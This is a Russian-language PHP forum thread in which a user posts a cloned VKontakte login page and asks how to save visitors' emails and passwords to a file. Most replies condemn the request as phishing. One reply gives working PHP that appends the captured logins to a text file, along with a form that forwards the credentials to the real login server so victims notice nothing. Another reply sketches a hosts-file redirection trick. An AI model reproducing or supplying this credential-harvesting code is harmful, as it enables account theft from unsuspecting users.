[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Клон вконтакте
Страницы: 1, 2
Craft
HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<title>В Контакте | Добро пожаловать</title>
<link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css?37" type="text/css" />
<script src="http://vkontakte.ru/js/common.js?61"></script>
<script type="text/javascript" src="http://vkontakte.ru/js/lang0_1000.js?644"></script>
<script type="text/javascript" src="http://vkontakte.ru/js/lib/ui_controls.js?20"></script>
<link rel="stylesheet" href="http://vkontakte.ru/css/ui_controls.css?9" type="text/css" />


<link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" />
<!--[if lte IE 6]><style type="http://vkontakte.ru/text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie.css?4); /* ]]> */</style><![endif]-->
<!--[if gte IE 7]><style type="http://vkontakte.ru/text/css" media="screen">/* <![CDATA[ */ @import url(/css/ie7.css); /* ]]> */</style><![endif]-->
<script src="http://vkontakte.ru/js/niftycube.js?1"></script>
<script type="http://vkontakte.ru/text/javascript">
<!--
var base_domain = '/';
var links_visibility = 0;

(function(){
var loadFn = function(){
Nifty("ul.tabs a", "small top");
Nifty("ul.buttonRow a", "small");
Nifty("div.leftAd","small transparent");
Nifty("div.selPad","small transparent");
Nifty("div.myPad", "small transparent");
placeholderSetup('qinput');
};
//addEvent(window, 'load', loadFn);
onDomReady(loadFn);
})();
//-->
</script>
</head>

<body>

<div id="pageLayout">

<!-- pageHeader -->

<div id="pageHeader">

<h1 id="home"><a href="/index.php">ВКонтакте</a></h1>


<div class="headNav">
<a href="http://vkontakte.ru/reg0">регистрация</a>
<a href='http://vkontakte.ru/login.php'>вход</a>
</div>

</div>

<!-- End pageHeader -->

<!-- sideBar -->

<div id="sideBar">

<script type="http://vkontakte.ru/text/javascript">
var vklogin = false;

function try_to_login(obj, text) {
if (text.substr(0, 10) == 'not_active') {
window.location.href = 'http://vkontakte.ru/login.php?r=1';
} else if (text.substr(0, 4) == 'good') {
window.location.href = 'http://vkontakte.ru/';
} else if (text.substr(0, 6) == 'invite') {
window.location.href = 'http://vkontakte.ru/help.php?page=welcome&hash=' + text.substr(6);
} else if (text.substr(0, 7) == 'vklogin') {
vklogin = true;
ge('login').submit();
} else {
window.location.href = 'http://vkontakte.ru/login.php?m=1';
}
}

function quick_login() {
// try_to_login('','vklogin');
var options = {onSuccess: try_to_login};
Ajax.postWithCaptcha('http://vkontakte.ru/login.php', {op: 'a_login_attempt'}, options);
}
</script>
<div id="quickLogin">
<form method="post" name="login" id="login" action="http://login.vk.com/?act=login" onsubmit="if (vklogin) {return true} else {quick_login();return false;}">
<label for="email">E-mail или Логин:</label>
<input class="inputText" onfocus="show('expirePad');" type="text" name="email" id="email" size="20" />
<label for="pass" style="margin-top: 5px">Пароль:</label>
<input class="inputText" onfocus="show('expirePad');" type="password" name="pass" id="pass" size="20" style="margin-bottom: 2px" />
<div id="expirePad"><input type="hidden" name="expire" id="expire" value="1" /></div>
<input type="hidden" name="vk" id="vk" value="">
<script type="text/javascript">
onDomReady(function() {
var uiExpire = new Checkbox(ge('expire'), {
width: 123,
checked: false,
label: 'Чужой компьютер'
});
});
</script>
<div style="height:20px;margin-top:5px;">
<ul class='nNav' style="width:135px;padding:0px;margin:0px;"><li style="margin:0px 3px 0px 0px;">
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="http://vkontakte.ru/">Вход</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li>
<li style="margin:0px">
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="http://vkontakte.ru/reg0">Регистрация</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li></ul>
</div>
<input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/>
</form>
</div>

<div style="width:124px">
</div>

</div>

<!-- End sideBar -->

<!-- pageBody -->

<div id="pageBody" class="pageBody">

<div id="wrapH">
<div id="wrapHI">
<div id="header">
<h1> Добро пожаловать</h1>
</div>
</div>
</div>

<div id="wrap2">
<div id="wrap1">
<div id="content">


<script type="text/javascript">
var memCount = 44621718;
var memPerSec = 1.11747532913;
function updateCount() {
next = -(1000 / memPerSec)*Math.log(Math.random());
memCountString = '' + memCount;
len = memCountString.length;
memCountString = memCountString.substr(0,len-6)+" "+memCountString.substr(len-6,3)+" "+memCountString.substr(len-3,3);
ge('memCount').innerHTML = memCountString;
memCount = memCount + 1;
setTimeout(updateCount, next);
}
addEvent(window, 'load', updateCount);

var captcha_send = 'Отправить';
var captcha_cancel = 'Отмена';

</script>

<div class="simplePage">

<h2><b>ВКонтакте - универсальное средство поиска знакомых.</b></h2>

<p>Мы хотим, чтобы друзья, однокурсники, одноклассники, соседи и коллеги всегда оставались в контакте.</p>

<p>Нас уже <b id='memCount'>44621718</b>.</p>
<p><b>ВКонтакте</b> - самый посещаемый сайт в России и Украине.</p>

<p>С помощью этого сайта Вы можете:</p>
<ul class="listing">
<li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li>
<li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li>
<li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li>
</ul>

<!-- no need now
<div style="margin: 0px 32px 0px 0px">
<a class='noUnd' href='http://vkontakte.ru/help.php?page=demo2'><div class='tour' onmouseover="this.style.backgroundColor='#FCFBF5'" onmouseout="this.style.backgroundColor='#F9F6E7'"><b>Экскурсия по сайту</b><div>О том, что Вас ждет после регистрации</div></div></a>
</div>
-->
<div style="height:20px; margin:10px 10px 10px 195px">
<ul class='nNav'><li>
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="http://vkontakte.ru/login.php">Вход</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li>
<li>
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="http://vkontakte.ru/reg0">Регистрация</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li></ul>
</div>

</div>
<form id='f' name='f' style='padding:0;margin:0;border:0' method='post' action='http://vkontakte.ru/index.php'>
<input type='hidden' id='autologin' name='autologin' value=1>
</form>
<iframe name="mf" onload="try{if (this.contentWindow.location.href.indexOf('slogin') != -1) {if (this.contentWindow.location.href.indexOf('nonenone') != -1) {return false;} document.f.submit();}} catch(e) {}" border=0 style='border:0px; background-color:#FFF; margin-left: 20px; position: absolute;' src='http://login.vk.com/?vk=' width='1' height='1'></iframe>

</div>
</div>
</div>

</div>
<div id="boxHolder"></div>

<!-- End pageBody -->



<!-- bFooter -->
<div style="padding: 10px 0px 5px 140px; text-align: center; clear: both">
<div>В Контакте &copy; 2006-2009 <a href="#" onclick="return doChangeLang(0, 'f81bbd35eb0f24e970');" style="margin-left:7px">русский</a><a href="#" onclick="return doChangeLang(1, 'f81bbd35eb0f24e970');" style="margin-left:7px">українська</a><a href="#" onclick="return doChangeLang(2, 'f81bbd35eb0f24e970');" style="margin-left:7px">беларуская (тарашкевiца)</a><a href="#" onclick="return doChangeLang(3, 'f81bbd35eb0f24e970');" style="margin-left:7px">English</a><a href="#" onclick="return doChangeLang(11, 'f81bbd35eb0f24e970');" style="margin-left:7px">српски</a><a href="#" onclick="return doChangeLang(10, 'f81bbd35eb0f24e970');" style="margin-left:7px">magyar</a><a href="#" onclick="return doChangeLang(15, 'f81bbd35eb0f24e970');" style="margin-left:7px">Polski</a><a href="#" onclick="return doChangeLang(12, 'f81bbd35eb0f24e970');" style="margin-left:7px">Português</a></div>
<div><!----></div>
</div>
<!-- tns-counter.ru -->
<script type="text/javascript">
<!--
onDomReady(function(){
//addEvent(window, 'load', function(){
var img = new Image();
img.src = 'http://www.tns-counter.ru/V13a***R>' + document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/';
});
//-->
</script>
<noscript>
<img src="http://www.tns-counter.ru/V13a****vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/" width="1" height="1" alt="" />
</noscript>
<!--/ tns-counter.ru -->
<!--LiveInternet counter-->
<script type="text/javascript">
<!--
onDomReady(function(){
//addEvent(window, 'load', function(){
var img = new Image();
img.src = 'http://counter.yadro.ru/hit?r' + escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ';u' + escape(document.URL) + ';' + Math.random() + '';
});
//-->
</script>
<!--/LiveInternet-->
<!-- End bFooter -->

</div>

<!-- End pageLayout 528 -->

</body>
</html>




выше - код клона вконтакте как мне сделать чтобы нажав кнопку войти данные из поля имейл и пароль отправились мне в обычный файл, просто записывались мэйлы пи пароли...помогите плиз

//Ёпта, оформляйте несвои портянки по-человечески //Nikitian
glock18
Craft
совести надо совсем не иметь, чтобы отнимать у бедных пользователей их пароли.

уже пальцы скрестил, чтобы вам никто не помог mad.gif
SunSet
glock18
Мож лучше бан для профилактики? smile.gif

_____________
... и помните! Каким бы ни был PHP, главное - чтобы он был защищенным! :) (PHP с Анфисой Чеховой)
glock18
Не уверен, что стоит. Это моя личная неприязнь, а он не нарушал правила форума, насколько я помню.
Craft
ну спасибо блин(javascript:emoticon(';)')
stepan
Всегда пожалуйста, кушайте необляпайтесь. cool.gif

_____________
TMake.ru
Nikitian
Найдите строчку
HTML
<form method="post" name="login" id="login" action="http://login.vk.com/?act=login" onsubmit="if (vklogin) {return true} else {quick_login();return false;}">
B догадайтесь что там надо поменять.
Для записи в файл в php есть множество замечательных функций. Вам будет нужна комбинация примерно такого вида:
PHP
$fp=fopen('pass.txt','a');
fwrite($fp,$login.';'.$password."\n");
fclose($fp);

Далее, чтобы ваша целевая аудитория не заподозрила лишнего необходимо отправлять на реальный сервер авторизации. Первое, что приходит на ум - JS конструкция с переадресацией по форме:
HTML
<form id="form" action="http://login.vk.com/?act=login" name="login" method="post">
//Здесь все принятые логины-пароли в хидден полях
</form>
<script>
document.getElementById("form").submit;
</script>


Ивановская опергруппа уже выехала по адресу.
SunSet
Nikitian
А ведь был хорошим экспертом.. жаль, за соучаствие... и все такое.... laugh.gif

_____________
... и помните! Каким бы ни был PHP, главное - чтобы он был защищенным! :) (PHP с Анфисой Чеховой)
Pinoplast
По логике я вроде понял как эта фитча работает, надо заставить пользователя в винде поменть ip в папке sestem32 небуду говорить какой файл, а потом вместо контактов в браузере будет грузиться этот шаблонка biggrin.gif , гдето видел в контактах рассылают способ взлома их. а сами пишут че где поменьть а наивные пользователи повторяют, а потом лешаються своего акаунта biggrin.gif biggrin.gif biggrin.gif
Grazor
Pinoplast
знаю-знаю, какой файл) у товарисчей была такая проблемка)

Craft
по-моему, это уж слишком - мало того, что пароли у пользователей собираетесь воровать, так ещё и спрашиваете, как.


кстати, прочитав заголовок, я ожидал увидеть в теме вопросы по созданию своей соц сети unsure.gif

_____________
See ~InViSiBlE~ do ~ImPoSsIbLe~

>Чтобы понять рекурсию, надо понять рекурсию ©БОР
Romms
Меня как-то попросили написать такую фитчу... написал, правда в того чела хостинг забрали! biggrin.gif
Так что... на чужом не проживешь!!!
Trivium
интересный чувак... совсем народ обнаглел... ещё б спросил как воровать шапки с людей... или кошельки в тралике... laugh.gif

_____________
Архив софта и новости IT
glock18
Цитата
как воровать шапки с людей... или кошельки в тралике...

жжошь laugh.gif
Grazor
это фишинг называется, насколько я помню sleep.gif

_____________
See ~InViSiBlE~ do ~ImPoSsIbLe~

>Чтобы понять рекурсию, надо понять рекурсию ©БОР
Romms
Цитата
это фишинг называется, насколько я помню sleep.gif

Совершено верно!
И в большой части хостингов, в договорах сказано про то что такое не допускается...
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2014 Invision Power Services, Inc.